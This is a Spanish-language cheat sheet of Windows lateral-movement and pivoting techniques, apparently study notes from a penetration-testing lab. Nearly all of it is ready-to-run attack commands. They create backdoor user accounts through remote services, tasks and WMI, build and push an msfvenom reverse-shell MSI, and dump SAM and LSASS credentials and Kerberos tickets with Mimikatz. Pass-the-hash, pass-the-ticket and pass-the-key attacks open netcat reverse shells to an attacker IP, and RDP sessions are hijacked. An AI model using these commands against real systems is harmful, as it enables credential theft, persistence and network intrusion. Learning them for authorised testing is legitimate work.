🦘Movimiento Lateral & Pivoting

Técnicas de movimiento lateral entre una red Windows

Generar Procesos Remotos

Diferentes métodos para generar un proceso de manera remota, permitiendo ejecutar comandos en máquinas para las que se tiene credenciales válidas. Elegir método según la situación específica.

Crear Comando Remoto - Psexec

• Puerto: 445 - SMB

• Grupo Requerido: Administrators

Ejecutar comando remoto con psexec

psexec64.exe <IP-remota> -u Administrator -p <pass> -i cmd.exe

Crear Proceso Remoto - WinRM

• Puertos: 5985/5986 WinRM HTTP/HTTPs

• Grupo Requerido: Remote Management Users

Conectarse a sesión remota de PowerShell desde cmd

winrs.exe -u:Administrator -p:<pass> -r:<computer-name> cmd

Versión desde PowerShell:

Crear el objeto PSCredential para pasar las credenciales

username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Crear sesión interactiva con el cmdlet Enter-PSSession

Enter-PSSession -Computername <name> -Credential $credentialobject

Otra opción desde Powershell es ejecutar ScriptBlocks de manera remota con WinRM:

Invoke-Command -Computername <name> -Credential $credentialobject -ScriptBlock {whoami}

Crear Servicio Remoto - SC

• Puertos: 135, 49152-65535 (DCE/RPC) 445, 139 (RPC over SMB Named Pipes)

• Grupo Requerido: Administrators

Crear e iniciar servicio remoto con sc.exe

sc.exe \\<computer>.<domain> create <service-name> binPath="net user <username> <pass> /add" start= auto
sc. exe \\<computer>.<domain> start <service-name>

Detener y eliminar el servicio

sc.exe \\<computer>.<domain> stop <service-name>
sc.exe \\<computer>.<domain> delete <service-name>

Crear Tarea Programada Remota

Crear y ejecutar tarea programada remota con schtasks

schtasks /s <computer>.<domain> /RU "SYSTEM" /create /tn "<task-name>" /tr "<command/payload-to-execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s <computer>.<domain> /run /TN "<task-name>"

Eliminar tarea programada

schtasks /s <computer>.<domain> /TN "<task-name>" /DELETE /F

Movimiento Lateral con WMI

Windows Management Instrumentation, o WMI, permite al administrador realizar tareas de gestión de manera remota, las cuales podemos aprovechar para movernos lateralmente.

• Puertos: 135, 49152-65535 (DCE/RPC) 5985/5986 (WinRM HTTP/HTTPs)

• Grupo Requerido: Administrators

Iniciar Sesión WMI desde PowerShell

Crear el objeto PSCredential para pasar las credenciales

$username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Establecer sesión de WMI y almacenarla en variable $Session

$Opt = New-CimSessionOption -Protocol DCOM # DCOM or Wsman
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

Crear Proceso Remoto

Iniciar proceso bajo sesión WMI

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value <some-text>";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command}

Crear Servicio Remoto

Crear nuevo servicio de manera remota

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "<service-name>";
DisplayName = "<service-name>";
PathName = "net user <new-user> <pass> /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

Crear controlador e iniciar el servicio

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service-name>'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

Detener y borrar el servicio

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

Crear Tarea Programada

Crear y ejecutar nueva tarea programada mediante cmdlets

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user <user> <pass> /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\\SYSTEM" -TaskName "<task-name>"
Start-ScheduledTask -CimSession $Session -TaskName "<task-name>"

Eliminar tarea programada

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

Instalar paquetes MSI

Crear instalador .msi malicioso con una reverse shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port>-f msi > myinstaller.msi

Transferir archivo mediante smb al share $admin

smbclient -c 'put myinstaller.msi' -U <username> -W ZA '//<pc-name>.<workgroup>.<domain-name>/admin$/' <pass>

Establecer listener multi handler

use exploit/multi/handler
set lhost <ip>
set lport <port>
set payload windows/x64/shell_reverse_tcp
run

1. Configurar objeto PSCredential

2. Iniciar sesión de WMI

Instalar archivo msi en la máquina víctima

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\\Windows\\<file>.msi"; Options = ""; AllUsers = $false}

Variante de instalación con wmic

wmic /node:<domain-name> /user:<domain>\\<user> product call install PackageLocation=c:\\Windows\\<file>.msi

Abuso de Protocolos de Autenticación con Mimikatz

Ataque Pass-the-Hash (PtH)

EXTRACCIÓN NTLM HASH

Extracción desde el local SAM

mimikatz.exe
privilege::debug
token::elevate
lsadump::sam

Extracción desde memoria LSASS

mimikatz.exe
privilege::debug
token::elevate
sekurlsa::msv

EXPLOTACIÓN - WINDOWS

Establecer listener en máquina atacante

nc -lvnp <port>

Inyectar token de la víctima en una reverse shell

token::revert
sekurlsa::pth /user:<username> /domain:<workgroup>.<domain-name> /ntlm:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"

Generar consola de comandos en PC objetivo con winrs

winrs.exe -r:<computer>.<workgroup>.<domain> cmd

EXPLOTACIÓN - LINUX

Ataque PtH con psexec.py

python3 /opt/impacket/examples/psexec.py -hashes <hash> <workgroup>.<domain-name>/<username>@<ip>

Ataque Pass-the-Ticket (PtT)

Extraer tickets Kerberos desde memoria LSASS (Requiere privs SYSTEM)

mimikatz.exe
privilege::debug
sekurlsa::tickets /export

Inyectar ticket en la sesión actual - Ataque PtT

kerberos::ptt <ticket-kirbi-file>

Comprobar tickets inyectados

klist

Ataque Pass-the-Key (PtK)

Extraer clave de cifrado de Kerberos desde memoria LSASS

mimikatz.exe
privilege::debug
sekurlsa::ekeys

Establecer listener

nc -lvnp <port>

COMANDO SEGÚN ALGORITMO DE LA CLAVE OBTENIDA:

RC4 hash

sekurlsa::pth /user:<username> /domain:<domain> /rc4:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"

AES128 hash

sekurlsa::pth /user:<username> /domain:<domain> /aes128:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"

AES256 hash

sekurlsa::pth /user:<username> /domain:<domain> /aes256:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"

Abuso de Errores del Usuario

Aprovechar errores de configuración o malas prácticas por parte del usuario para ganar mayor acceso a las máquinas dentro de la red.

RDP Hijacking

Solo Windows Server 2016 y anteriores, Windows Server 2019 no permite conectarse a sesiones de otro usuario sin proporcionar la contraseña.

Ejecutar consola de comandos con psexec

PsExec64.exe -s cmd.exe

Enumerar sesiones RDP activas en el servidor

query user
query session

• Anotamos el SESSIONNAME de la sesión actual y el ID de la sesión a secuestrar.

Secuestro de sesión con tscon

tscon <ID> /dest:<SESSIONNAME>

Port Forwarding

Diferentes técnicas de redireccionamiento de puertos que permiten utilizar una máquina comprometida como "máquina de salto" para pivotar a otras máquinas.

SSH Local Port Forwarding

Redirigir puerto comprometido a puerto atacante

ssh <username>@<ip-a> -L *:<port>:127.0.0.1:<port> -N

Regla de firewall para conexiones al puerto abierto (necesita admin privs)

netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>

SSH Remote Port Forwarding

Abrir puerto comprometido y redirigir tráfico a puerto objetivo

ssh <username>@<ip-a> -R <port>:<target-ip>:<port> -N
# ssh user@ip-a -> PC comprometido se conecta por ssh
# -R port:ip:port -> tunel entre dos puertos
# -N -> no se ejecutan comandos, solo se mantiene el tunel

Conexión por RDP a máquina objetivo mediante IP local

xfreerdp /v:127.0.0.1 /u:<username> /p:<pass>

Port Forwarding con Socat

Para situaciones en las que SSH no está disponible podemos utiliazr la herramienta de Socat, pero antes se debe trasnferir el binario a la máquina de salto.

LOCAL PORT FORWARDING

Abrir puerto comprometido y redirigir tráfico a puerto atacante

socat TCP4-LISTEN:<port>,fork TCP4:<ip-a>:<port>

Regla de firewall para conexiones al puerto abierto (necesita admin privs)

netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>

REMOTE PORT FORWARDING

Abrir puerto comprometido y redirigir tráfico a puerto objetivo

socat TCP4-LISTEN:<port>,fork TCP4:<target-ip>:<port>

Dynamic Port Forwading con SOCKS

REDIRECCIONAMIENTO DE PUERTOS DINÁMICO INVERSO

Redirigir tráfico por túnel SSH hacia máquina atacante

ssh <username>@<ip-a> -R <port> -N

Configurar puerto adecuado en /etc/proxychains.conf

[ProxyList]
socks4  127.0.0.1 <R-port>

Ejecución de comando a través del proxy SOCKS con proxychains

proxychains curl https://<url.com>